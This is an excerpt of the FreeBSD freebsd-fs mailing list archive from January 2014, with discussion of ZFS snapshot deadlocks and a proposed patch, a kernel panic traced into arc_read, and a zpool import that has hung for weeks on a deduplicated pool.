TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A8D30E96; Tue, 14 Jan 2014 11:47:15 +0000 (UTC) Received: from citadel.icyb.net.ua (citadel.icyb.net.ua [212.40.38.140]) by mx1.freebsd.org (Postfix) with ESMTP id A3BBB1CE7; Tue, 14 Jan 2014 11:47:14 +0000 (UTC) Received: from porto.starpoint.kiev.ua (porto-e.starpoint.kiev.ua [212.40.38.100]) by citadel.icyb.net.ua (8.8.8p3/ICyb-2.3exp) with ESMTP id NAA18720; Tue, 14 Jan 2014 13:47:12 +0200 (EET) (envelope-from avg@FreeBSD.org) Received: from localhost ([127.0.0.1]) by porto.starpoint.kiev.ua with esmtp (Exim 4.34 (FreeBSD)) id 1W32Se-000Ai8-41; Tue, 14 Jan 2014 13:47:12 +0200 Message-ID: <52D5239B.6000203@FreeBSD.org> Date: Tue, 14 Jan 2014 13:46:35 +0200 From: Andriy Gapon User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: krichy@tvnetwork.hu Subject: Re: kern/184677 / ZFS snapshot handling deadlocks References: <20131220134405.GE1658@garage.freebsd.pl> In-Reply-To: X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: freebsd-fs@FreeBSD.org X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 11:47:15 -0000 on 25/12/2013 07:22 krichy@tvnetwork.hu said the following: > I've made a new patch again, which fixes most of my earlier issues. Mainly, I've > enabled shared vnode locks for GFS vnodes - is it acceptable? And that way, > deadlock cases reduced much, and also the patch is more clear (at least to me). > One thing still remains, the spa_namespace_lock race I mentioned before, I dont > know how to handle that. > > Waiting for comments on this. Richard, first of all, apologies for the delay with a reply and for not having any comment on the essence of your patch... I do have the following meta-comment. - working with FreeBSD VFS is hard - porting code that was written for a very different VFS model to FreeBSD VFS is even harder - doing the same for the code that plays various tricks, like .zfs support code does, is harder again - reviewing somebody else's changes to that kind of code is harder still than making such changes This is quite an unfortunate situation. I am not much surprised by the lack of followups to your analysis and patches. I am saying this as someone who spent some time analyzing and trying to fix the .zfs code and ZFS<->VFS interaction in general. See e.g. http://thread.gmane.org/gmane.os.freebsd.devel.file-systems/18924/focus=19056 My opinion is that .zfs code breaks several fundamental FreeBSD VFS contracts. The most glaring violation is that VOP_INACTIVE makes a vnode invalid. I think that trying to fix .zfs code by patching individual problems here and there is an uphill battle. I think that the same also applies to ZFS ZPL code but in a less obvious way. The code in many cases just pretends to play by VFS rules by satisfying most obvious assertions, but it does not really try to obey VFS contracts. For example, almost all locks in znode are mostly redundant given VFS vnode locking. But in some cases they are not sufficient precisely because VFS expects its locking to be used rather than ZFS internal locking. The most obvious example is interaction of VOP_RENAME with other VOPs. In any case, thanks for your work! I am trying to find some time to review it. -- Andriy Gapon From owner-freebsd-fs@FreeBSD.ORG Tue Jan 14 12:26:13 2014 Return-Path: Delivered-To: freebsd-fs@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id EA5F870F; Tue, 14 Jan 2014 12:26:12 +0000 (UTC) Received: from krichy.tvnetwork.hu (unknown [IPv6:2a01:be00:0:2::10]) by mx1.freebsd.org (Postfix) with ESMTP id 719CD1FCD; Tue, 14 Jan 2014 12:26:11 +0000 (UTC) Received: by krichy.tvnetwork.hu (Postfix, from userid 1000) id E1EB17AAB; Tue, 14 Jan 2014 13:25:45 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by krichy.tvnetwork.hu (Postfix) with ESMTP id E127C7AAA; Tue, 14 Jan 2014 13:25:45 +0100 (CET) Date: Tue, 14 Jan 2014 13:25:45 +0100 (CET) From: krichy@tvnetwork.hu To: Andriy Gapon Subject: Re: kern/184677 / ZFS snapshot handling deadlocks In-Reply-To: <52D5239B.6000203@FreeBSD.org> Message-ID: References: <20131220134405.GE1658@garage.freebsd.pl> <52D5239B.6000203@FreeBSD.org> User-Agent: Alpine 2.10 (DEB 1266 2009-07-14) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-fs@FreeBSD.org X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 12:26:13 -0000 Dear Andriy, I've also sent a detailed explanation of my changes to Will Andrews, I could also forward that to you. You are right, these areas are critical areas, though the patch is very small and solves some of the issues. And that is also true that I am not a really FreeBSD developer, just I compared illumos and freebsd code, debugged these locking issues for a while. Then at the end I think the result patch is reasonably small, and I also tried to follow some freebsd recommendations. If I can help somehow I am willing to do. Also I would accept any critics on my work. It is for a month or two now when we discovered these bugs, and unfortunately it happened on our production servers, and with these patches our system works since then. But of course, that is not a proof of concept. Thanks in advance, Kojedzinszky Richard Euronet Magyarorszag Informatikai Zrt. On Tue, 14 Jan 2014, Andriy Gapon wrote: > Date: Tue, 14 Jan 2014 13:46:35 +0200 > From: Andriy Gapon > To: krichy@tvnetwork.hu > Cc: freebsd-fs@FreeBSD.org > Subject: Re: kern/184677 / ZFS snapshot handling deadlocks > > on 25/12/2013 07:22 krichy@tvnetwork.hu said the following: >> I've made a new patch again, which fixes most of my earlier issues. Mainly, I've >> enabled shared vnode locks for GFS vnodes - is it acceptable? And that way, >> deadlock cases reduced much, and also the patch is more clear (at least to me). >> One thing still remains, the spa_namespace_lock race I mentioned before, I dont >> know how to handle that. >> >> Waiting for comments on this. > > Richard, > > first of all, apologies for the delay with a reply and for not having any > comment on the essence of your patch... > > I do have the following meta-comment. > > - working with FreeBSD VFS is hard > - porting code that was written for a very different VFS model to FreeBSD VFS is > even harder > - doing the same for the code that plays various tricks, like .zfs support code > does, is harder again > - reviewing somebody else's changes to that kind of code is harder still than > making such changes > > This is quite an unfortunate situation. I am not much surprised by the lack of > followups to your analysis and patches. > I am saying this as someone who spent some time analyzing and trying to fix the > .zfs code and ZFS<->VFS interaction in general. See e.g. > http://thread.gmane.org/gmane.os.freebsd.devel.file-systems/18924/focus=19056 > > My opinion is that .zfs code breaks several fundamental FreeBSD VFS contracts. > The most glaring violation is that VOP_INACTIVE makes a vnode invalid. > I think that trying to fix .zfs code by patching individual problems here and > there is an uphill battle. I think that the same also applies to ZFS ZPL code > but in a less obvious way. > The code in many cases just pretends to play by VFS rules by satisfying most > obvious assertions, but it does not really try to obey VFS contracts. For > example, almost all locks in znode are mostly redundant given VFS vnode locking. > But in some cases they are not sufficient precisely because VFS expects its > locking to be used rather than ZFS internal locking. The most obvious example > is interaction of VOP_RENAME with other VOPs. > > In any case, thanks for your work! I am trying to find some time to review it. > > -- > Andriy Gapon > From owner-freebsd-fs@FreeBSD.ORG Tue Jan 14 13:36:43 2014 Return-Path: Delivered-To: freebsd-fs@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 94E5D90A for ; Tue, 14 Jan 2014 13:36:43 +0000 (UTC) Received: from zxy.spb.ru (zxy.spb.ru [195.70.199.98]) by mx1.freebsd.org (Postfix) with ESMTP id 33C881574 for ; Tue, 14 Jan 2014 13:36:43 +0000 (UTC) Received: from slw by zxy.spb.ru with local (Exim 4.69 (FreeBSD)) (envelope-from ) id 1W34Ac-000ENo-Fu for freebsd-fs@freebsd.org; Tue, 14 Jan 2014 17:36:42 +0400 Date: Tue, 14 Jan 2014 17:36:42 +0400 From: Slawa Olhovchenkov To: freebsd-fs@freebsd.org Subject: zfs locking Message-ID: <20140114133642.GM16734@zxy.spb.ru> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: slw@zxy.spb.ru X-SA-Exim-Scanned: No (on zxy.spb.ru); SAEximRunCond expanded to false X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 13:36:43 -0000 I have some kernel traps inside ZFS. Jan 14 00:13:05 srv3 kernel: Fatal trap 12: page fault while in kernel mode Jan 14 00:13:05 srv3 kernel: cpuid = 15; apic id = 2e Jan 14 00:13:05 srv3 kernel: fault virtual address = 0x14 Jan 14 00:13:05 srv3 kernel: fault code = supervisor read data, page not present Jan 14 00:13:05 srv3 kernel: instruction pointer = 0x20:0xffffffff80de2dd1 Jan 14 00:13:05 srv3 kernel: stack pointer = 0x28:0xfffffe104ac45460 Jan 14 00:16:04 srv3 syslogd: kernel boot file is /boot/kernel/kernel Jan 14 00:16:04 srv3 kernel: current process = 13233 (aiod22) Jan 14 00:16:04 srv3 kernel: trap number = 12 Jan 14 00:16:04 srv3 kernel: panic: page fault Jan 14 00:16:04 srv3 kernel: cpuid = 3 Jan 14 00:16:04 srv3 kernel: KDB: stack backtrace: Jan 14 00:16:04 srv3 kernel: #0 0xffffffff80523b50 at kdb_backtrace+0x60 Jan 14 00:16:04 srv3 kernel: #1 0xffffffff804edfa5 at panic+0x155 Jan 14 00:16:04 srv3 kernel: #2 0xffffffff806e9a42 at trap_fatal+0x3a2 Jan 14 00:16:04 srv3 kernel: #3 0xffffffff806e9d19 at trap_pfault+0x2c9 Jan 14 00:16:04 srv3 kernel: #4 0xffffffff806e94a6 at trap+0x5e6 Jan 14 00:16:04 srv3 kernel: #5 0xffffffff806d07d2 at calltrap+0x8 Jan 14 00:16:04 srv3 kernel: #6 0xffffffff80dea2f6 at dbuf_read+0x656 Jan 14 00:16:04 srv3 kernel: #7 0xffffffff80df12ff at dmu_buf_hold_array_by_dnode+0x1cf Jan 14 00:16:04 srv3 kernel: #8 0xffffffff80df21d6 at dmu_read_uio+0x66 Jan 14 00:16:04 srv3 kernel: #9 0xffffffff80e79107 at zfs_freebsd_read+0x357 Jan 14 00:16:04 srv3 kernel: #10 0xffffffff80784a12 at VOP_READ_APV+0x92 Jan 14 00:16:04 srv3 kernel: #11 0xffffffff80596266 at vn_read+0x166 Jan 14 00:16:04 srv3 kernel: #12 0xffffffff80592beb at vn_io_fault+0x15b Jan 14 00:16:04 srv3 kernel: #13 0xffffffff8104f387 at aio_daemon+0x387 Jan 14 00:16:04 srv3 kernel: #14 0xffffffff804c01ea at fork_exit+0x9a Jan 14 00:16:04 srv3 kernel: #15 0xffffffff806d0d0e at fork_trampoline+0xe Jan 14 00:16:04 srv3 kernel: Uptime: 2d9h6m7s 0x20:0xffffffff80de2dd1 is inside arc_read: (kgdb) x/30i 0xffffffff80de2dc0 0xffffffff80de2dc0 : add %ch,%al 0xffffffff80de2dc2 : pop %rdx 0xffffffff80de2dc3 : (bad) 0xffffffff80de2dc5 : add %cl,-0x77(%rax) 0xffffffff80de2dc8 : retq 0xffffffff80de2dc9 : mov 0xc0(%r12),%rax 0xffffffff80de2dd1 : movslq 0x14(%rax),%rsi 0xffffffff80de2dd5 : mov $0xffffffff80ee7c80,%rdi 0xffffffff80de2ddc : callq 0xffffffff806cfa60 0xffffffff80de2de1 : mov 0x18(%rbp),%rax 0xffffffff80de2de5 : testb $0x4,(%rax) 0xffffffff80de2de8 : je 0xffffffff80de2e07 0xffffffff80de2dea : mov %rbx,%rdi 0xffffffff80de2ded : callq 0xffffffff80e520e0 0xffffffff80de2df2 : xor %r15d,%r15d 0xffffffff80de2df5 : mov %r15d,%eax 0xffffffff80de2df8 : add $0x78,%rsp 0xffffffff80de2dfc : pop %rbx 0xffffffff80de2dfd : pop %r12 0xffffffff80de2dff : pop %r13 0xffffffff80de2e01 : pop %r14 0xffffffff80de2e03 : pop %r15 0xffffffff80de2e05 : pop %rbp 0xffffffff80de2e06 : retq DTRACE_PROBE2(l2arc__read, vdev_t *, vd, zio_t *, rzio); ARCSTAT_INCR(arcstat_l2_read_bytes, // arc_read+2137 hdr->b_l2hdr->b_asize); if (*arc_flags & ARC_NOWAIT) { zio_nowait(rzio); return (0); } ASSERT(*arc_flags & ARC_WAIT); if (zio_wait(rzio) == 0) return (0); /* l2arc read error; goto zio_read() */ Is this locking issue? From owner-freebsd-fs@FreeBSD.ORG Tue Jan 14 14:04:41 2014 Return-Path: Delivered-To: freebsd-fs@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 69AB1486 for ; Tue, 14 Jan 2014 14:04:41 +0000 (UTC) Received: from citadel.icyb.net.ua (citadel.icyb.net.ua [212.40.38.140]) by mx1.freebsd.org (Postfix) with ESMTP id B68F0188A for ; Tue, 14 Jan 2014 14:04:40 +0000 (UTC) Received: from porto.starpoint.kiev.ua (porto-e.starpoint.kiev.ua [212.40.38.100]) by citadel.icyb.net.ua (8.8.8p3/ICyb-2.3exp) with ESMTP id QAA21850; Tue, 14 Jan 2014 16:04:32 +0200 (EET) (envelope-from avg@FreeBSD.org) Received: from localhost ([127.0.0.1]) by porto.starpoint.kiev.ua with esmtp (Exim 4.34 (FreeBSD)) id 1W34bY-000Aun-1E; Tue, 14 Jan 2014 16:04:32 +0200 Message-ID: <52D543B7.2010407@FreeBSD.org> Date: Tue, 14 Jan 2014 16:03:35 +0200 From: Andriy Gapon User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Slawa Olhovchenkov , freebsd-fs@FreeBSD.org Subject: Re: zfs locking References: <20140114133642.GM16734@zxy.spb.ru> In-Reply-To: <20140114133642.GM16734@zxy.spb.ru> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 14:04:41 -0000 on 14/01/2014 15:36 Slawa Olhovchenkov said the following: > DTRACE_PROBE2(l2arc__read, vdev_t *, vd, > zio_t *, rzio); > ARCSTAT_INCR(arcstat_l2_read_bytes, // arc_read+2137 > hdr->b_l2hdr->b_asize); > > if (*arc_flags & ARC_NOWAIT) { > zio_nowait(rzio); > return (0); > } > > ASSERT(*arc_flags & ARC_WAIT); > if (zio_wait(rzio) == 0) > return (0); > > /* l2arc read error; goto zio_read() */ > > Is this locking issue? This looks like a bug that was already fixed in illumos and FreeBSD head. What version of FreeBSD do you use? See r258388 and r258389. -- Andriy Gapon From owner-freebsd-fs@FreeBSD.ORG Tue Jan 14 14:13:49 2014 Return-Path: Delivered-To: freebsd-fs@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A6157ACD; Tue, 14 Jan 2014 14:13:49 +0000 (UTC) Received: from zxy.spb.ru (zxy.spb.ru [195.70.199.98]) by mx1.freebsd.org (Postfix) with ESMTP id 655DA1952; Tue, 14 Jan 2014 14:13:49 +0000 (UTC) Received: from slw by zxy.spb.ru with local (Exim 4.69 (FreeBSD)) (envelope-from ) id 1W34kV-000H0s-O5; Tue, 14 Jan 2014 18:13:47 +0400 Date: Tue, 14 Jan 2014 18:13:47 +0400 From: Slawa Olhovchenkov To: Andriy Gapon Subject: Re: zfs locking Message-ID: <20140114141347.GN16734@zxy.spb.ru> References: <20140114133642.GM16734@zxy.spb.ru> <52D543B7.2010407@FreeBSD.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52D543B7.2010407@FreeBSD.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: slw@zxy.spb.ru X-SA-Exim-Scanned: No (on zxy.spb.ru); SAEximRunCond expanded to false Cc: freebsd-fs@FreeBSD.org X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 14:13:49 -0000 On Tue, Jan 14, 2014 at 04:03:35PM +0200, Andriy Gapon wrote: > on 14/01/2014 15:36 Slawa Olhovchenkov said the following: > > DTRACE_PROBE2(l2arc__read, vdev_t *, vd, > > zio_t *, rzio); > > ARCSTAT_INCR(arcstat_l2_read_bytes, // arc_read+2137 > > hdr->b_l2hdr->b_asize); > > > > if (*arc_flags & ARC_NOWAIT) { > > zio_nowait(rzio); > > return (0); > > } > > > > ASSERT(*arc_flags & ARC_WAIT); > > if (zio_wait(rzio) == 0) > > return (0); > > > > /* l2arc read error; goto zio_read() */ > > > > Is this locking issue? > > This looks like a bug that was already fixed in illumos and FreeBSD head. > What version of FreeBSD do you use? > See r258388 and r258389. 10.0-BETA1 I don't see commit to 10.x From owner-freebsd-fs@FreeBSD.ORG Tue Jan 14 14:49:07 2014 Return-Path: Delivered-To: freebsd-fs@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 75654AD3 for ; Tue, 14 Jan 2014 14:49:07 +0000 (UTC) Received: from citadel.icyb.net.ua (citadel.icyb.net.ua [212.40.38.140]) by mx1.freebsd.org (Postfix) with ESMTP id D4A621D05 for ; Tue, 14 Jan 2014 14:49:06 +0000 (UTC) Received: from porto.starpoint.kiev.ua (porto-e.starpoint.kiev.ua [212.40.38.100]) by citadel.icyb.net.ua (8.8.8p3/ICyb-2.3exp) with ESMTP id QAA22508; Tue, 14 Jan 2014 16:49:04 +0200 (EET) (envelope-from avg@FreeBSD.org) Received: from localhost ([127.0.0.1]) by porto.starpoint.kiev.ua with esmtp (Exim 4.34 (FreeBSD)) id 1W35Ie-000Ayx-7G; Tue, 14 Jan 2014 16:49:04 +0200 Message-ID: <52D54E28.5020208@FreeBSD.org> Date: Tue, 14 Jan 2014 16:48:08 +0200 From: Andriy Gapon User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: krichy@tvnetwork.hu Subject: Re: kern/184677 / ZFS snapshot handling deadlocks References: <20131220134405.GE1658@garage.freebsd.pl> <52D5239B.6000203@FreeBSD.org> In-Reply-To: X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: freebsd-fs@FreeBSD.org X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 14:49:07 -0000 on 14/01/2014 14:25 krichy@tvnetwork.hu said the following: > Dear Andriy, > > I've also sent a detailed explanation of my changes to Will Andrews, I could > also forward that to you. This would be nice. > You are right, these areas are critical areas, though > the patch is very small and solves some of the issues. And that is also true > that I am not a really FreeBSD developer, just I compared illumos and freebsd > code, debugged these locking issues for a while. Then at the end I think the > result patch is reasonably small, and I also tried to follow some freebsd > recommendations. I hope to be able to examine your proposed patch soon-ish. > If I can help somehow I am willing to do. Also I would accept any critics on my > work. It is for a month or two now when we discovered these bugs, and > unfortunately it happened on our production servers, and with these patches our > system works since then. > > But of course, that is not a proof of concept. Just in case, does the patched code pass my concurrent ls -l test? :-) The "test" is here: http://thread.gmane.org/gmane.os.freebsd.devel.file-systems/18924/focus=19056 > > Kojedzinszky Richard > Euronet Magyarorszag Informatikai Zrt. > > On Tue, 14 Jan 2014, Andriy Gapon wrote: > >> Date: Tue, 14 Jan 2014 13:46:35 +0200 >> From: Andriy Gapon >> To: krichy@tvnetwork.hu >> Cc: freebsd-fs@FreeBSD.org >> Subject: Re: kern/184677 / ZFS snapshot handling deadlocks >> >> on 25/12/2013 07:22 krichy@tvnetwork.hu said the following: >>> I've made a new patch again, which fixes most of my earlier issues. Mainly, I've >>> enabled shared vnode locks for GFS vnodes - is it acceptable? And that way, >>> deadlock cases reduced much, and also the patch is more clear (at least to me). >>> One thing still remains, the spa_namespace_lock race I mentioned before, I dont >>> know how to handle that. >>> >>> Waiting for comments on this. >> >> Richard, >> >> first of all, apologies for the delay with a reply and for not having any >> comment on the essence of your patch... >> >> I do have the following meta-comment. >> >> - working with FreeBSD VFS is hard >> - porting code that was written for a very different VFS model to FreeBSD VFS is >> even harder >> - doing the same for the code that plays various tricks, like .zfs support code >> does, is harder again >> - reviewing somebody else's changes to that kind of code is harder still than >> making such changes >> >> This is quite an unfortunate situation. I am not much surprised by the lack of >> followups to your analysis and patches. >> I am saying this as someone who spent some time analyzing and trying to fix the >> .zfs code and ZFS<->VFS interaction in general. See e.g. >> http://thread.gmane.org/gmane.os.freebsd.devel.file-systems/18924/focus=19056 >> >> My opinion is that .zfs code breaks several fundamental FreeBSD VFS contracts. >> The most glaring violation is that VOP_INACTIVE makes a vnode invalid. >> I think that trying to fix .zfs code by patching individual problems here and >> there is an uphill battle. I think that the same also applies to ZFS ZPL code >> but in a less obvious way. >> The code in many cases just pretends to play by VFS rules by satisfying most >> obvious assertions, but it does not really try to obey VFS contracts. For >> example, almost all locks in znode are mostly redundant given VFS vnode locking. >> But in some cases they are not sufficient precisely because VFS expects its >> locking to be used rather than ZFS internal locking. The most obvious example >> is interaction of VOP_RENAME with other VOPs. >> >> In any case, thanks for your work! I am trying to find some time to review it. >> >> -- >> Andriy Gapon >> -- Andriy Gapon From owner-freebsd-fs@FreeBSD.ORG Tue Jan 14 16:31:27 2014 Return-Path: Delivered-To: freebsd-fs@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8B41B3E5 for ; Tue, 14 Jan 2014 16:31:27 +0000 (UTC) Received: from mail-ob0-x233.google.com (mail-ob0-x233.google.com [IPv6:2607:f8b0:4003:c01::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 585AC1736 for ; Tue, 14 Jan 2014 16:31:27 +0000 (UTC) Received: by mail-ob0-f179.google.com with SMTP id wp4so3957010obc.24 for ; Tue, 14 Jan 2014 08:31:26 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=LnwPDVBlUEa7YCiaax4ptTnSDGdndg3J0C+ZCEMekEw=; b=r5XlKF1EnyEnfMFdxnUKSQDMA3Mg2xfdbnFNCXCRlcXMsVhiIaDfrbWZWo/CazNXiW pCq/OjKVx485qwHLscbz1kyuYIaFDtJ2WDGNQq9MKzwiAi1NAL0pAx4HjIkQ11ec6H+l S5j+Gkdfmlh3faQfVPGE1ghlP2IekpLC9jvFREfWGRfyURek3SHOvB02h0u1EduzAi2U 2b+wppAVbu7Y25P1Wvd6j3ET6rVi7oJJCWWnulR9s0EG0GZl0lcQKIuONydU7B4QCJpG eD4n7io9eUKi6YjzPyFjiY6qA3MHAKMstN5E29oo2E1mmGeBPnWs32J32BySOcUPPs0i aq6A== MIME-Version: 1.0 X-Received: by 10.182.143.103 with SMTP id sd7mr1807784obb.70.1389717086556; Tue, 14 Jan 2014 08:31:26 -0800 (PST) Received: by 10.60.171.145 with HTTP; Tue, 14 Jan 2014 08:31:26 -0800 (PST) Date: Tue, 14 Jan 2014 17:31:26 +0100 Message-ID: Subject: zpool import taking weeks ... From: Ulysse 31 To: freebsd-fs@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 16:31:27 -0000 Hi all, Hope that someone may have some advices or tips to try solve my actual problem : A few weeks ago, our backup server, a freebsd 9.1 with zfs v28 on a raidz of 20TB (15 used) 64Gb RAM, had a serious hook up : a periodical sync (zfs send/recv) between a distant server and the backup server went wrong, which leaded to a "zfs recv" runing on the server and a "zfs rollback" on the same dataset. which lead to hang partially the machine, so machine was rebooted. At boot time, the machine took long time to import, and out of swap messages had come on the screen after 48 hours. We decided to reboot again and boot on a livecd (zfsguru), on which we add a usb drive as swap storage, and then when have launched the import of the pool with : zpool import -N -F on the first 48h hours the import took about all memory plus 779Mo of swap, since it is a zfsguru cd, i only have two terminals available (ALT+F1 and ALT+F2). The import was running on the second and on the first I could monitor the mem/cpu usage. On the first terminal, for some reason, when i launch top, it was quitting right after the first screen refresh. so I was firstly checking the machine with "top | head -n 24". After some days, I just write the following command on the first terminal "while true; do top | head -n 24; sleep 5; done". And it was working ... for 2 mins, after that, the terminal hung ... I can still check the import is running by using "CTRL+T" on the second terminal where zpool import is running, but the infos are not really helpfull unless telling that it still running. I get something like : load: 0.00 cmd: zpool 20299 [tx->tx_sync_done_cv)] 612062,13r 0.04u 0.29s 0% 48k sometimes, the "load: 0.00" goes arround 0.20 then comes back to 0.00 most of the time. it has been now running for more than a week, from what i read arround the only thing i can do is wait ... if someone as tips or ideas I would be really happy ^^' The storage is using one zpool with multiple dataset with dedup on (i know it EATS RAM :s ) On the live cd dmesg i could read at begining of the import something like : "Warning: can't open objset " followed by the dataset name that was crashed. I don't mind loosing this particular dataset, but some other are ... well, important. It is the first time I use zfsguru livecd, so at boot, i set the root password, in order to log into via ssh if needed, after loosing one of the terminal i realize that zfsguru is configured to use only "ssh" user to log into ssh, not root (stupid me ...). Thanks all for your kind help. Cheers. -- Ulysse31 From owner-freebsd-fs@FreeBSD.ORG Tue Jan 14 16:52:24 2014 Return-Path: Delivered-To: freebsd-fs@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9D25ED6C for ; Tue, 14 Jan 2014 16:52:24 +0000 (UTC) Received: from mail-ob0-x235.google.com (mail-ob0-x235.google.com [IPv6:2607:f8b0:4003:c01::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 670A41945 for ; Tue, 14 Jan 2014 16:52:24 +0000 (UTC) Received: by mail-ob0-f181.google.com with SMTP id uy5so9317450obc.26 for ; Tue, 14 Jan 2014 08:52:23 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=ZPTCyT/UrLVd8ORL4UJdYHxgIG+AMr1EjJgcuqlsvCc=; b=UjkyRJTnzhgjWTuy1mni0JATlyVp2DHh/Pn8XBNr4CUmddw96N555cxCh7+vFr+gfu dV8rwX+NktdfKT3Wm423ENk56XAs/bmU514P4q1f2gPtL27GZqM8ngMPBmAUyQ4G9SZt 6ti5swK70wrkaWpMPiqUXF7CsCL4bJXKBpDMJRxmHegg9NZgw23ndyZT/cFIR5Me6MmZ J8CC1mH+cBBZI9/kwls7DKV9aIyhopMD6nTxcenYEUZfEJ1pRzyVWZ/yFRB5sfqzGnt8 SedK0krXDhlGwEvcRJvOh1cmj7WfdHi0B4FgkbiR1dnrY3H94uRFBlKUKAmk8M5rWNkS bkRQ== MIME-Version: 1.0 X-Received: by 10.60.67.105 with SMTP id m9mr1927329oet.58.1389718343654; Tue, 14 Jan 2014 08:52:23 -0800 (PST) Received: by 10.76.132.9 with HTTP; Tue, 14 Jan 2014 08:52:23 -0800 (PST) In-Reply-To: References: Date: Tue, 14 Jan 2014 08:52:23 -0800 Message-ID: Subject: Re: zpool import taking weeks ... From: Freddie Cash To: Ulysse 31 Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: FreeBSD Filesystems X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 16:52:24 -0000 Dedupe enabled on this server? -- Freddie Cash fjwcash@gmail.com From owner-freebsd-fs@FreeBSD.ORG Tue Jan 14 16:58:30 2014 Return-Path: Delivered-To: freebsd-fs@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 169C1ED7 for ; Tue, 14 Jan 2014 16:58:30 +0000 (UTC) Received: from mail-vc0-x22e.google.com 